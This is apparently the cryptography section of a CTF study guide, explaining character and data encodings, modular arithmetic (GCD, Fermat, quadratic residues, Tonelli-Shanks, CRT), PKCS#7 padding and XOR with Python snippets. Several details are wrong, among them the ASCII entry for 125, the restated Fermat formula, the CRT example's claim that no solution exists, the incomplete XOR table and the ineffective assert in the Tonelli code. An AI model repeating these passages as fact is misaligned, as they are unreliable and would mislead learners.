# Introduction

This project is aimed at providing technical guides on various CTF topics:

* :yellow\_circle: Cryptography
* :red\_circle: Forensic
* :red\_circle: OSINT
* :yellow\_circle: PWN (60% done)
* :red\_circle: Reverse
* :red\_circle: Steganography
* :red\_circle: Web
* ...

Cheatsheets are huge resources, but they sometimes lack simplicity or on the contrary they don't give any context or explanation. **This is not a cheatsheets project**. Everything here will be verified, tested, and not only copy-pasted from I don't know where.

Keep in mind that these guides are maintained by non-omniscient security enthusiasts in their spare time. You will probably find things missing or mistakes and writing all this takes time.

📣Please feel free to contribute, give feedback/suggestions or reach out to me on Twitter ([@Akumarachi](https://twitter.com/Akumarachi)) or Discord (Aku#4254)


# Introduction

Cryptography is the practice of secure communication. It uses mathematical algorithms (ciphers) to encrypt and decrypt messages to ensure privacy and confidentiality.

In Capture the Flag events, cryptography challenges often involve breaking or reverse engineering systems to retrieve a hidden flag or secret message.


# General knowledge


# Encoding

Data standard

Encoding is the process of converting information from one format into another.

In computing, encoding is used to represent data in a specific format that can be understood and processed by computers or human. There are many types of encoding, including:

* **Character encoding**: The representation of characters (letters, numbers, symbols, etc.) as unique sequences of binary data. Examples include ASCII, Unicode, UTF-8, etc.
* **Data encoding**: The process of converting structured data into a format that can be transmitted or stored efficiently. Examples include XML, JSON, base64, etc.
* **Audio/Video encoding**: The process of compressing audio or video data into a smaller and more manageable format for storage or transmission.
* etc.

Encoding is a fundamental concept in data storage, transmission, and processing, as it allows information to be represented in a **standard and consistent format** that can be understood by different systems.


# Character encoding


# ASCII

**ASCII** (**A**merican **S**tandard **C**ode for **I**nformation **I**nterchange) is an early character encoding standard that represents each character as a unique number between 0 and 127.

ASCII only **defines a limited set of characters**, including the English alphabet (**upper** and **lower** case), **numbers**, and a set of **common punctuation** and **control characters**.

## How it works ?

ASCII encoding assigns each character a unique 7-bit binary number. This allows each character to be represented as a single byte (8 bits) in memory.

Here is the entire ASCII table

| Decimal | Hexadecimal | Symbol                    |
| ------- | ----------- | ------------------------- |
| 0       | 00          | NUL (Null)                |
| 1       | 01          | SOH (Start Of Header)     |
| 2       | 02          | STX (Start Of Text)       |
| 3       | 03          | ETX (End of Text)         |
| 4       | 04          | EOT (End of Transmission) |
| 5       | 05          | ENQ (Enquiry)             |
| 6       | 06          | ACK (Acknowledge)         |
| 7       | 07          | BEL (Bell)                |
| 8       | 08          | BS (Backspace)            |
| 9       | 09          | HT (Horizontal tab)       |
| 10      | 0A          | LF (New Line)             |
| 11      | 0B          | VT (Vertical Tab)         |
| 12      | 0C          | FF (New Page)             |
| 13      | 0D          | CR (Carriage Return)      |
| 14      | 0E          | SO (Shift Out)            |
| 15      | 0F          | SI (Shift In)             |
| 16      | 10          | DLE (Data Link Escape)    |
| 17      | 11          | DC1 (Device control 1)    |
| 18      | 12          | DC2 (Device control 2)    |
| 19      | 13          | DC3 (Device control 3)    |
| 20      | 14          | DC4 (Device control 4)    |
| 21      | 15          | NAK (Negative Aknowledge) |
| 22      | 16          | SYN (Synchronous idle)    |
| 23      | 17          | ETB (End of trans. block) |
| 24      | 18          | CAN (Cancel)              |
| 25      | 19          | EM (End of Medium)        |
| 26      | 1A          | SUB (Substitute)          |
| 27      | 1B          | ESC (Escape)              |
| 28      | 1C          | FS (File separator)       |
| 29      | 1D          | GS (Group Separator)      |
| 30      | 1E          | RS (Record Separator)     |
| 31      | 1F          | US (Unit Separator)       |
| 32      | 20          | space                     |
| 33      | 21          | !                         |
| 34      | 22          | "                         |
| 35      | 23          | #                         |
| 36      | 24          | $                         |
| 37      | 25          | %                         |
| 38      | 26          | &                         |
| 39      | 27          | '                         |
| 40      | 28          | (                         |
| 41      | 29          | )                         |
| 42      | 2A          | \*                        |
| 43      | 2B          | +                         |
| 44      | 2C          | ,                         |
| 45      | 2D          | -                         |
| 46      | 2E          | .                         |
| 47      | 2F          | /                         |
| 48      | 30          | 0                         |
| 49      | 31          | 1                         |
| 50      | 32          | 2                         |
| 51      | 33          | 3                         |
| 52      | 34          | 4                         |
| 53      | 35          | 5                         |
| 54      | 36          | 6                         |
| 55      | 37          | 7                         |
| 56      | 38          | 8                         |
| 57      | 39          | 9                         |
| 58      | 3A          | :                         |
| 59      | 3B          | ;                         |
| 60      | 3C          | <                         |
| 61      | 3D          | =                         |
| 62      | 3E          | >                         |
| 63      | 3F          | ?                         |
| 64      | 40          | @                         |
| 65      | 41          | A                         |
| 66      | 42          | B                         |
| 67      | 43          | C                         |
| 68      | 44          | D                         |
| 69      | 45          | E                         |
| 70      | 46          | F                         |
| 71      | 47          | G                         |
| 72      | 48          | H                         |
| 73      | 49          | I                         |
| 74      | 4A          | J                         |
| 75      | 4B          | K                         |
| 76      | 4C          | L                         |
| 77      | 4D          | M                         |
| 78      | 4E          | N                         |
| 79      | 4F          | O                         |
| 80      | 50          | P                         |
| 81      | 51          | Q                         |
| 82      | 52          | R                         |
| 83      | 53          | S                         |
| 84      | 54          | T                         |
| 85      | 55          | U                         |
| 86      | 56          | V                         |
| 87      | 57          | W                         |
| 88      | 58          | X                         |
| 89      | 59          | Y                         |
| 90      | 5A          | Z                         |
| 91      | 5B          | \[                        |
| 92      | 5C          | \\                        |
| 93      | 5D          | ]                         |
| 94      | 5E          | ^                         |
| 95      | 5F          | \_                        |
| 96      | 60          | \`                        |
| 97      | 61          | a                         |
| 98      | 62          | b                         |
| 99      | 63          | c                         |
| 100     | 64          | d                         |
| 101     | 65          | e                         |
| 102     | 66          | f                         |
| 103     | 67          | g                         |
| 104     | 68          | h                         |
| 105     | 69          | i                         |
| 106     | 6A          | j                         |
| 107     | 6B          | k                         |
| 108     | 6C          | l                         |
| 109     | 6D          | m                         |
| 110     | 6E          | n                         |
| 111     | 6F          | o                         |
| 112     | 70          | p                         |
| 113     | 71          | q                         |
| 114     | 72          | r                         |
| 115     | 73          | s                         |
| 116     | 74          | t                         |
| 117     | 75          | u                         |
| 118     | 76          | v                         |
| 119     | 77          | w                         |
| 120     | 78          | x                         |
| 121     | 79          | y                         |
| 122     | 7A          | z                         |
| 123     | 7B          | {                         |
| 124     | 7C          | \|                        |
| 125     | 7D          | ]                         |
| 126     | 7E          | \~                        |
| 127     | 7F          | DEL                       |

There is an extended ASCII table that includes symbols till 255 :

| Decimal | Hexadecimal | Symbol |
| ------- | ----------- | ------ |
| 128     | 80          |       |
| 129     | 81          |       |
| 130     | 82          |       |
| 131     | 83          |       |
| 132     | 84          |       |
| 133     | 85          |       |
| 134     | 86          |       |
| 135     | 87          |       |
| 136     | 88          |       |
| 137     | 89          |       |
| 138     | 8A          |       |
| 139     | 8B          |       |
| 140     | 8C          |       |
| 141     | 8D          |       |
| 142     | 8E          |       |
| 143     | 8F          |       |
| 144     | 90          |       |
| 145     | 91          |       |
| 146     | 92          |       |
| 147     | 93          |       |
| 148     | 94          |       |
| 149     | 95          |       |
| 150     | 96          |       |
| 151     | 97          |       |
| 152     | 98          |       |
| 153     | 99          |       |
| 154     | 9A          |       |
| 155     | 9B          |       |
| 156     | 9C          |       |
| 157     | 9D          |       |
| 158     | 9E          |       |
| 159     | 9F          |       |
| 160     | A0          |        |
| 161     | A1          | ¡      |
| 162     | A2          | ¢      |
| 163     | A3          | £      |
| 164     | A4          | ¤      |
| 165     | A5          | ¥      |
| 166     | A6          | ¦      |
| 167     | A7          | §      |
| 168     | A8          | ¨      |
| 169     | A9          | ©      |
| 170     | AA          | ª      |
| 171     | AB          | «      |
| 172     | AC          | ¬      |
| 173     | AD          | ­      |
| 174     | AE          | ®      |
| 175     | AF          | ¯      |
| 176     | B0          | °      |
| 177     | B1          | ±      |
| 178     | B2          | ²      |
| 179     | B3          | ³      |
| 180     | B4          | ´      |
| 181     | B5          | µ      |
| 182     | B6          | ¶      |
| 183     | B7          | ·      |
| 184     | B8          | ¸      |
| 185     | B9          | ¹      |
| 186     | BA          | º      |
| 187     | BB          | »      |
| 188     | BC          | ¼      |
| 189     | BD          | ½      |
| 190     | BE          | ¾      |
| 191     | BF          | ¿      |
| 192     | C0          | À      |
| 193     | C1          | Á      |
| 194     | C2          | Â      |
| 195     | C3          | Ã      |
| 196     | C4          | Ä      |
| 197     | C5          | Å      |
| 198     | C6          | Æ      |
| 199     | C7          | Ç      |
| 200     | C8          | È      |
| 201     | C9          | É      |
| 202     | CA          | Ê      |
| 203     | CB          | Ë      |
| 204     | CC          | Ì      |
| 205     | CD          | Í      |
| 206     | CE          | Î      |
| 207     | CF          | Ï      |
| 208     | D0          | Ð      |
| 209     | D1          | Ñ      |
| 210     | D2          | Ò      |
| 211     | D3          | Ó      |
| 212     | D4          | Ô      |
| 213     | D5          | Õ      |
| 214     | D6          | Ö      |
| 215     | D7          | ×      |
| 216     | D8          | Ø      |
| 217     | D9          | Ù      |
| 218     | DA          | Ú      |
| 219     | DB          | Û      |
| 220     | DC          | Ü      |
| 221     | DD          | Ý      |
| 222     | DE          | Þ      |
| 223     | DF          | ß      |
| 224     | E0          | à      |
| 225     | E1          | á      |
| 226     | E2          | â      |
| 227     | E3          | ã      |
| 228     | E4          | ä      |
| 229     | E5          | å      |
| 230     | E6          | æ      |
| 231     | E7          | ç      |
| 232     | E8          | è      |
| 233     | E9          | é      |
| 234     | EA          | ê      |
| 235     | EB          | ë      |
| 236     | EC          | ì      |
| 237     | ED          | í      |
| 238     | EE          | î      |
| 239     | EF          | ï      |
| 240     | F0          | ð      |
| 241     | F1          | ñ      |
| 242     | F2          | ò      |
| 243     | F3          | ó      |
| 244     | F4          | ô      |
| 245     | F5          | õ      |
| 246     | F6          | ö      |
| 247     | F7          | ÷      |
| 248     | F8          | ø      |
| 249     | F9          | ù      |
| 250     | FA          | ú      |
| 251     | FB          | û      |
| 252     | FC          | ü      |
| 253     | FD          | ý      |
| 254     | FE          | þ      |
| 255     | FF          | ÿ      |


# Unicode

Unicode is a universal character encoding standard that assigns a unique number (called a code point) to each character in every writing system in the world.

It was created as a standardized way to represent text in a way that is consistent across different platforms, languages, and regions.

Unicode includes more than 130,000 characters from over 100 scripts, including :

* the Latin alphabet,
* Greek,
* Cyrillic,
* Hebrew,
* Arabic,
* Chinese,
* Japanese,
* Korean,
* and many others.

It also includes symbols, emoji, and control characters used for formatting text.

## Resources

{% embed url="<https://unicode-table.com/en/>" %}


# UTF-8

UTF-8 (8-bit Unicode Transformation Format) is a variable-width character encoding standard that is widely used for representing the characters of the [Unicode ](/cryptography/general-knowledge/encoding/character-encoding/unicode)character set. It was designed as a replacement for [ASCII ](/cryptography/general-knowledge/encoding/character-encoding/ascii)and other single-byte character encodings, with the goal of supporting all characters used in the world's writing systems.

## How it works ?

In UTF-8, each character is represented by one to four bytes, depending on the complexity of the character.

[ASCII ](/cryptography/general-knowledge/encoding/character-encoding/ascii)characters are still represented by a single byte, but other characters require more bytes to represent all of their unique details.

The advantage of UTF-8 is that **it is backwards compatible with ASCII** and can be used with existing ASCII-based systems, while also supporting a much wider range of characters.

## Resources

{% embed url="<https://www.charset.org/utf-8>" %}


# Data encoding


# Base16

Hexadecimal encoding

**Base16**, also known as **hexadecimal encoding**, is a binary-to-text encoding scheme that represents binary data as a sequence of 16 characters (**0-9** and **A-F**).

## How it works ?

Hexadecimal encoding works by dividing the binary data into 4-bit blocks and then representing each block as a character in a predefined set of 16 characters.

This results in a representation that is more compact than the original binary data, making it easier to store or transmit.

To encode binary data as Base16, each group of 4 bits is converted to its corresponding hexadecimal character, and the characters are concatenated to form the final encoded string.

To decode Base16-encoded data, the reverse process is performed, converting each hexadecimal character back into its corresponding 4-bit binary representation and concatenating the results.

## Python

```python
data = b"SomeData"

hexData = data.hex()

decoded = bytes.fromhex(hexData)
```


# Base32

**Base32** is a binary-to-text encoding scheme that represents binary data as a sequence of 32 characters (letters and numbers).

## How it works

Base32 encoding works by dividing the binary data into 5-bit blocks and then representing each block as a character in a predefined set of 32 characters.

The symbol "=" is used as padding.

This results in a representation that is more compact than the original binary data, making it easier to store or transmit.

| 00000 | 0  | A |
| ----- | -- | - |
| 00001 | 1  | B |
| 00010 | 2  | C |
| 00011 | 3  | D |
| 00100 | 4  | E |
| 00101 | 5  | F |
| 00110 | 6  | G |
| 00111 | 7  | H |
| 01000 | 8  | I |
| 01001 | 9  | J |
| 01010 | 10 | K |
| 01011 | 11 | L |
| 01100 | 12 | M |
| 01101 | 13 | N |
| 01110 | 14 | O |
| 01111 | 15 | P |
| 10000 | 16 | Q |
| 10001 | 17 | R |
| 10010 | 18 | S |
| 10011 | 19 | T |
| 10100 | 20 | U |
| 10101 | 21 | V |
| 10110 | 22 | W |
| 10111 | 23 | X |
| 11000 | 24 | Y |
| 11001 | 25 | Z |
| 11010 | 26 | 2 |
| 11011 | 27 | 3 |
| 11100 | 28 | 4 |
| 11101 | 29 | 5 |
| 11110 | 30 | 6 |
| 11111 | 31 | 7 |

## Python

```python
import base64

data = b"SomeData"

encoded = base64.b32encode(data)

decoded = base64.b32decode(encoded)
```

## Resources

{% embed url="<https://gchq.github.io/CyberChef/#recipe=From_Base32(>" %}

{% embed url="<https://www.dcode.fr/base-32-encoding>" %}


# Base64

**Base64** is a binary-to-text encoding scheme that represents binary data as a sequence of 64 characters (letters and numbers).

## How it works

Base64 encoding works by dividing the binary data into 6-bit blocks and then representing each block as a character in a predefined set of 64 characters.

The symbol "=" is used as padding.

This results in a representation that is more compact than the original binary data, making it easier to store or transmit.

## Python

```python
import base64

data = b"SomeData"

encoded = base64.b64encode(data)

decoded = base64.b64decode(encoded)
```

## Resources

{% embed url="<https://gchq.github.io/CyberChef/#recipe=To_Base64(>" %}

{% embed url="<https://www.dcode.fr/base-64-encoding>" %}


# Maths


# Modular arithmetic


# Greatest Common Divisor

The Greatest Common Divisor (GCD), sometimes known as the highest common factor, is the largest number which divides two positive integers (a,b).

## How to calculate ?

There is several methods to obtain a GCD :

### Divisors listing

The first method consist, as this names sounds for, list every divisor for each integers.

For `a = 12, b = 8` , the divisors of a: `{1,2,3,4,6,12}` and the divisors of b: `{1,2,4,8}`. Comparing these two, then `gcd(a,b) = 4`.

This method is easy and can be quickly done for small integer but if the integers are `a= 54213214, b=32541548` this can take a while.

### Euclid's algorithm

This is a two step algorithm :

1. Do an Euclid's Division on the bigger integer (A) by the lower (B), keep the rest and B
2. If the rest = 0 then `gcd = B` else, do the step 1 again with A = B and B = rest.

```python
def gcd(a, b):
    if a == 0:
        return b
    return gcd(b%a, a)
```

## Extended Euclid's Algorithm

The extended Euclidean algorithm is an algorithm for finding the greatest common divisor (GCD) of two integers and finding the coefficients of the linear combination of the two integers that give the GCD.

The coefficients are often represented as the [Bezout's identity](https://en.wikipedia.org/wiki/B%C3%A9zout's_identity) and they satisfy the equation:

$$
GCD(a,b) = a*u + b*v
$$

The extended Euclidean algorithm can be used to solve Diophantine equations, which are equations with integer solutions, and is also used in public key cryptography, such as the RSA algorithm, to find the modular inverse of an integer.

### How it works ?

The extended Euclidean algorithm works by keeping track of the intermediate remainders and division results within the Euclid's algorithm and using them to calculate the coefficients.

At each step of the algorithm, the previous remainders and division results are used to calculate the new coefficients. The algorithm continues until the final remainder is zero.

```python
def egcd(a,b):
    if b == 0:
        return a,0,1

    gcd, u1, v1 = egcd(b, a%b)

    u = v1 - (a//b) * u1
    v = u1

    return gcd, u, v
```

## Resources

{% embed url="<https://www.dcode.fr/pgcd>" %}


# Fermat's little theorem

{% hint style="info" %}
This page is about modular arithmetic.\
\
The integers modulo `p` define a field, denoted `Fp`.\\

A finite field `Fp` is the set of integers `{0,1,...,p-1}`, and under both addition and multiplication there is an inverse element `b` for every element `a` in the set, such that\
`a + b = 0` and `a * b = 1`.
{% endhint %}

Fermat's Little Theorem is a result in number theory that states that if \*\*`a` \*\* is an integer and **`p`** is a prime number, then for all integers **`a`**:

$$
a^{p-1} \equiv 1 \bmod p
$$

This means that :

$$
\frac{a^{p-1}-1}{p}=0
$$

In cryptography, it is used in the modular exponentiation algorithm, which is a basic building block in many public key encryption algorithms such as the RSA algorithm.

## Modular inversion

**Modular inversion**, also known as **modular reciprocal**, is the process of finding the multiplicative inverse of an integer **`a`** modulo **`p`**.

The multiplicative inverse of **`a`** modulo **`p`** is an integer **`b`** such that :

$$
a \* b \equiv 1 \bmod p
$$

{% hint style="info" %}
**`b`** and is unique for each **`a`** and **`m`** couple
{% endhint %}

There is two methods in order to calculate the modular inverse of a number

### Using extended Euclid's algorithm

The [extended euclid's algorithm](/cryptography/general-knowledge/maths/modular-arithmetic/greatest-common-divisor#extended-euclids-algorithm) permit to quickly find the modular inverse such as :

$$
a^{-1} = u \bmod p
$$

Where `u` is solution for :

$$
a*u+p*v = 1
$$

{% hint style="info" %}
This equation is solved using the extended Euclid's algorithm.\
Exemple with `a = 3 and p = 13`

```python
a = 3, p = 13
gcd, u, v = egcd(a,p)
# 3 * -4 + 13 * 1 = 1
x = u % p
# 9 = -4 % 13
assert(a * x % p == 1 % p)
```

{% endhint %}

### Continuing the Fermat's little theorem

The theorem says :

$$
a^{p-1} \equiv 1 \bmod p \iff a^{p-1} \bmod p = 1
$$

The equation can be continued :

$$
a^{p-1} \equiv 1 \bmod p \ a^{p-1} \* a^{-1} \equiv a^{-1} \bmod p \ a^{p-2} \* a \* a^{-1} \equiv a^{-1} \bmod p \ a^{p-2} \equiv a^{-1} \bmod p \iff a^{p-2} \bmod p = a^{-1}
$$

{% hint style="info" %}
Using the same example as before :

```python
# 3 * x ≡ 1 mod 13
a = 3
p = 13
# x = a^(p-2) % p
# x = 3^(13-2) % 13
x = pow(a, p-2, p)
# x = 9
assert(a * x % p == 1 % p)
```

{% endhint %}

## Resource

{% embed url="<https://en.wikipedia.org/wiki/Fermat>" %}


# Quadratic residues

{% hint style="info" %}
This page is about modular arithmetic.\
\
The integers modulo `p` define a field, denoted `Fp`.\\

A finite field `Fp` is the set of integers `{0,1,...,p-1}`, and under both addition and multiplication there is an inverse element `b` for every element `a` in the set, such that\
`a + b = 0` and `a * b = 1`.
{% endhint %}

A quadratic residue is a number that is the result of squaring another number. In other words, a number **`x`** is a quadratic residue (modulo **`p`**) if there exists another number **`a`** such that

$$
x^2 \equiv a \bmod p
$$

The set of all quadratic residues modulo \*\*`p` \*\* is called the **set of quadratic residues** of **`p`**.

{% hint style="info" %}
**The concept of quadratic residues is important in number theory and cryptography**.

For example, the problem of finding quadratic residues is known as the "**quadratic residue problem**", and it is a hard problem in the sense that solving it for large integers is **computationally infeasible**.

This makes it useful for **creating secure encryption algorithms**.
{% endhint %}

Here is an example :

An integer `a=21` has the following square mod 31 : `a² ≡ 7 mod 31` .

As `a = 21, a² = 7` , the square root of **`7`** is **`21`**

{% hint style="warning" %}
Note : For the elements of `Fp`, <mark style="color:red;">**not every element has a square root**</mark>. In fact, what we find is that **for roughly one half of the elements** of `Fp`, **there is no square root.**

Theses elements are called **quadratic non-residue**
{% endhint %}

## Interesting properties

```
Quadratic Residue * Quadratic Residue = Quadratic Residue
Quadratic Residue * Quadratic Non-residue = Quadratic Non-residue
Quadratic Non-residue * Quadratic Non-residue = Quadratic Residue
```

## Legendre Symbol

There is a method to determine **if an integer is a quadratic residue or not** with a single calculation thanks to Legendre.

$$
\frac{a}{p} \equiv a^{\frac{p-1}{2}} \bmod p
$$

This equation obeys :

```
(a / p) = 1 if a is a quadratic residue and a ≢ 0 mod p
(a / p) = -1 if a is a quadratic non-residue mod p
(a / p) = 0 if a ≡ 0 mod p
```

Which means given any integer `a`, calculating `pow(a,(p-1)//2,p)` is enough to determine if `a` is a quadratic residue.


# Tonelli-Shanks

In a congruence of the form `r2 ≡ a mod p`, Tonelli-Shanks calculates `r`.

{% hint style="danger" %}
Tonelli-Shanks <mark style="color:red;">**doesn't work for composite (non-prime) moduli**</mark>. Finding square roots modulo composites is computationally equivalent to integer factorization - that is, it's a hard problem.
{% endhint %}

The main use-case for this algorithm is finding elliptic curve co-ordinates. Its operation is somewhat complex so we're not going to discuss the details. But there is a python implementation

{% code lineNumbers="true" %}

```python
def legendre(a,p):
    return pow(a, (p-1) // 2,p)

def tonelli(a,p):
    assert(legendre(a,p) ==1, "not a quadratic-residue")
    q = p - 1
    s = 0
    while q % 2 == 0:
        q //= 2
        s += 1

    if s == 1 :
        return pow(a, (p + 1)//4, p)

    for z in range(2, p):
        if p - 1 == legendre(z, p):
            break

    c = pow(z, q, p)
    r = pow(a, (q+1) // 2, p)
    t = pow(a, q, p)

    m = s

    t2 = 0

    while (t - 1) % p != 0:
        t2 = (t * t) % p
        for i in range(1, m):
            if (t2 -1) % p == 0:
                break
            t2 = (t2 * t2) % p
        b = pow(c, 1 << (m - i - 1), p)
        r = (r * b) % p
        c = (b * b) % p
        t = (t * c) % p
        m = i
    return r
```

{% endcode %}

Note the line 13 ? If `s == 1` it's possible to quickly get the square root value with the following equation :

$$
\sqrt a = a^{\frac{p+1}{4}} \bmod p
$$

This occur cause a property of primes numbers : all primes that aren't 2 are of the form `p ≡ 1 mod 4` or `p ≡ 3 mod 4`, since all odd numbers obey these congruences.

Take a look the case `p ≡ 3 mod 4` with a [Fermat's little theorem](/cryptography/general-knowledge/maths/modular-arithmetic/fermats-little-theorem) derivation

$$
(a^{\frac{p+1}{4}})^2 \equiv a^{\frac{p+1}{2}} \equiv a^{(\frac{p-1}{2}+1)} \equiv a^{\frac{p-1}{2}} \cdot a \mod p
$$

It's possible cause `p + 1` is divisible by 4 unlike the case `p ≡ 1 mod 4` and `a` is a quadritic residue so it follows that :

$$
a^{\frac{p-1}{2}} \equiv 1 \bmod p
$$

## Resources

{% embed url="<https://crypto.stackexchange.com/questions/20993/significance-of-3mod4-in-squares-and-square-roots-mod-n/20994#20994>" %}


# Chinese Remainder Theorem

**The Chinese Remainder Theorem** (**CRT**) is a mathematical theorem that states that if we have a system of linear congruences (equations of the form "**`x ≡ a mod m`**") **with pairwise coprime moduli**, then there exists a unique solution for **`x`** modulo the product of the moduli.

The theorem is called "Chinese" because it was first stated by the ancient Chinese mathematician Sun Tzu Suan Ching.

The CRT is particularly useful in solving systems of simultaneous modular equations that are difficult or impossible to solve individually. For example, if we have two congruences:

$$
x \equiv 3 \bmod 4 \ x \equiv 2 \bmod 5
$$

It is not possible to find a single solution for **`x`** that satisfies both congruences.

However, using the CRT, we can find a unique solution for **`x`** that satisfies both congruences modulo the product of the moduli (`20`).

{% hint style="info" %}
The CRT has many applications in cryptography, number theory, and computer science. For example, it is used in RSA encryption to speed up the calculation of the modular inverse, and in constructing public-key cryptosystems based on integer factorization.
{% endhint %}

## Algorithm

In order to calculate a solution, two variables are needed :

$$
N = n\_1 \cdot n\_2 \cdot n\_3 \cdot ... \cdot n\_i \\\text{}\ E\_i = \left\[ \frac{N}{n\_1}, \frac{N}{n\_2}, \frac{N}{n\_3},...,\frac{N}{n\_i}\right]
$$

{% hint style="info" %}
The `Ei` values are composed multiplying all the n\_values each others except `n at position i`.
{% endhint %}

For each elements of `E` , the inverse (mod `ni`) `y` can be calculated using the [Fermat's Little theorem](/cryptography/general-knowledge/maths/modular-arithmetic/fermats-little-theorem#continuing-the-fermats-little-theorem) :

$$
E\_i \cdot y\_i = 1 \bmod n\_i
$$

Then a solution for x can be calculated using the following equation :

$$
x = a\_1 \cdot E\_1 \cdot y\_1 + a\_2 \cdot E\_2 \cdot y\_2 + a\_3 \cdot E\_3 \cdot y\_3 + ... + a\_i \cdot E\_i \cdot y\_i
$$

The unique solution is then `x % N`

## Python

```python
# remind, x = a mod n
# All the a values
a = [2,4,8]
# All the n values
n = [4,5,17]

N = 1

# Calcul N value
for i in n:
    N = N * i

# Compute E
E = [N // n[i] for i in range(len(n))]

# Get all y values
y = [pow(E[i],n[i]-2,n[i]) for i in range(len(n))]

# do the calcul x = ai * Ni * yi ... 
x = 0
for i in range(len(n)):
        x += a[i]*E[i]*y[i]
# Get the uniq solution
x %= N
print(x)
```

## Resources

{% embed url="<https://en.wikipedia.org/wiki/Chinese_remainder_theorem>" %}


# Modular binomial

A modular binomial problem is a mathematical problem in which a binomial expression of the form :

$$
x = (a + b)^e \bmod N
$$

where :

* a and b are integers,
* e is a positive integer (the exponent),
* and N is a positive integer (the modulus).

{% hint style="info" %}
In cryptography, the modular binomial problem is used in RSA encryption, where the integers a, b, and N are related to the encryption and decryption keys, and the exponent e is used to encrypt a message. Solving the modular binomial problem for a given c, e, and N is considered to be a hard problem and is the basis of RSA encryption's security.
{% endhint %}

## Searching p and q

The modular binomial problem can have the following form :

$$
c\_1 = (a\_1 \cdot p + b\_1 \cdot q)^{e\_1} \bmod N\ c\_2 = (a\_2 \cdot p + b\_2 \cdot q)^{e\_2} \bmod N\\
$$

Given the value of `c1, c2 a1, a2, e1, e2 and N` and where `N = p*q` it's possible to retrieve p and q as follow :

{% hint style="info" %}
The main idea is to :

* upper `c1` using the exponent used in the `c2` equation : `e2`
* upper `c2` using the exponent used in the `c1` equation : `e1`

Doing that, `c1` and `c2` are on the same exponent : `e1.e2`

In order to retrieve `q` it's needed to isolate it, so it's needed to make the two equation to had the same p value

* Multiply by `a1**(-e1*e2)` in the c1 equation reduce P factor to 1
* Multiply by \`a2\*\*(-e1\*e2) in the c2 equation reduce P factor to 1

Then, by substrat `c1` to `c2` there is a `p**(e1*e2) - p**(e1*e2)` which is 0 so they can be remove of the equation
{% endhint %}

$$
c\_1^{e\_2} = (a\_1 \cdot p + b\_1 \cdot q)^{e\_1 \cdot e\_2} \bmod N\ c\_1^{e\_2} = (a\_1 \cdot p)^{e\_1 \cdot e\_2} + (b\_1 \cdot q)^{e\_1 \cdot e\_2} \bmod N\ a\_1^{-e\_1 \cdot e\_2} \cdot c\_1^{e\_2} = a\_1^{-e\_1 \cdot e\_2} \cdot (a\_1 \cdot p)^{e\_1 \cdot e\_2} + a\_1^{-e\_1 \cdot e\_2} \cdot (b\_1 \cdot q)^{e\_1 \cdot e\_2} \bmod N\ a\_1^{-e\_1 \cdot e\_2} \cdot c\_1^{e\_2} = p^{e\_1 \cdot e\_2} + a\_1^{-e\_1 \cdot e\_2} \cdot(b\_1 \cdot q)^{e\_1 \cdot e\_2} \bmod N\\
$$

Make the same with `c2`

$$
c\_2^{e\_1} = (a\_2 \cdot p + b\_2 \cdot q)^{e\_2 \cdot e\_1} \bmod N\ c\_2^{e\_1} = (a\_2 \cdot p)^{e\_2 \cdot e\_1} + (b\_2 \cdot q)^{e\_2 \cdot e\_1} \bmod N\ a\_2^{-e\_2 \cdot e\_1} \cdot c\_2^{e\_1} = a\_2^{-e\_2 \cdot e\_1} \cdot (a\_2 \cdot p)^{e\_2 \cdot e\_1} + a\_2^{-e\_2 \cdot e\_1} \cdot (b\_2 \cdot q)^{e\_2 \cdot e\_1} \bmod N\ a\_2^{-e\_2 \cdot e\_1} \cdot c\_2^{e\_1} = p^{e\_2 \cdot e\_1} + a\_2^{-e\_2 \cdot e\_1} \cdot (b\_2 \cdot q)^{e\_2 \cdot e\_1} \bmod N\\
$$

Then

$$
a\_2^{-e\_2 \cdot e\_1} \cdot c\_2^{e\_1} - a\_1^{-e\_1 \cdot e\_2} \cdot c\_1^{e\_2} = p^{e\_2 \cdot e\_1} + a\_2^{-e\_2 \cdot e\_1} \cdot (b\_2 \cdot q)^{e\_2 \cdot e\_1} - p^{e\_1 \cdot e\_2} - a\_1^{-e\_1 \cdot e\_2} \cdot(b\_1 \cdot q)^{e\_1 \cdot e\_2} \bmod N \\= a\_2^{-e\_2 \cdot e\_1} \cdot (b\_2 \cdot q)^{e\_2 \cdot e\_1} - a\_1^{-e\_1 \cdot e\_2} \cdot(b\_1 \cdot q)^{e\_1 \cdot e\_2} \bmod N
$$

So, q = `gcd(pow(a2,(-e2 * e1),N) * pow(c2, e1, N) - pow(a1, (-e1 * e2), N) * pow(c1, e2, N), N)`

Do the same to get `p`


# Padding

Padding is a technique used in cryptography to ensure that messages or data are a fixed length, even if the original message or data is shorter than that length.

This is often necessary when using block ciphers like [AES](/cryptography/symmetric-cryptography/aes), which require input data to be a fixed size. Padding involves adding extra bits or bytes to the end of the message or data so that it meets the required length.

The most common padding schemes is PKCS#7 which add bytes containing the number of padding bytes to the end of the message.

Padding is important for maintaining the security and integrity of encrypted messages, as it helps prevent attackers from gaining information about the length of the original message or data.


# PKCS#7

The rules for PKCS padding are very simple:

* Padding bytes are always added to the clear text before it is encrypted.
* Each padding byte has a value equal to the total number of padding bytes that are added. For example, if 6 padding bytes must be added, each of those bytes will have the value 0x06.
* The total number of padding bytes is at least one, and is the number that is required in order to bring the data length up to a multiple of the cipher algorithm block size.

AES, for example, has a cipher block size of 16 bytes. The total number of padding bytes added to the clear text will always be between 1 and 16.

| Value of clear text length | Number of bytes added | Value of each padding byte |
| -------------------------- | --------------------- | -------------------------- |
| 0                          | 16                    | 0x10                       |
| 1                          | 15                    | 0x0F                       |
| 2                          | 14                    | 0x0E                       |
| 3                          | 13                    | 0x0D                       |
| 4                          | 12                    | 0x0C                       |
| 5                          | 11                    | 0x0B                       |
| 6                          | 10                    | 0x0A                       |
| 7                          | 9                     | 0x09                       |
| 8                          | 8                     | 0x08                       |
| 9                          | 7                     | 0x07                       |
| 10                         | 6                     | 0x06                       |
| 11                         | 5                     | 0x05                       |
| 12                         | 4                     | 0x04                       |
| 13                         | 3                     | 0x03                       |
| 14                         | 2                     | 0x02                       |
| 15                         | 1                     | 0x01                       |


# Misc


# XOR

The XOR (Exclusive OR) operator is a logical operation that takes two binary inputs and returns a single binary output.

In cryptography, XOR is often used as a simple method for combining two values into a single value or for separating a single value into two parts.

## How it works ?

XOR is a bitwise operator which returns **`0`** if the bits are the same, and **`1`** otherwise. In textbooks the XOR operator is denoted by **`⊕`**, but in most programming languages you will see the char`^` used instead.

| A | B | Result |
| - | - | ------ |
| 0 | 0 | 0      |
| 0 | 1 | 1      |
| 1 | 1 | 0      |
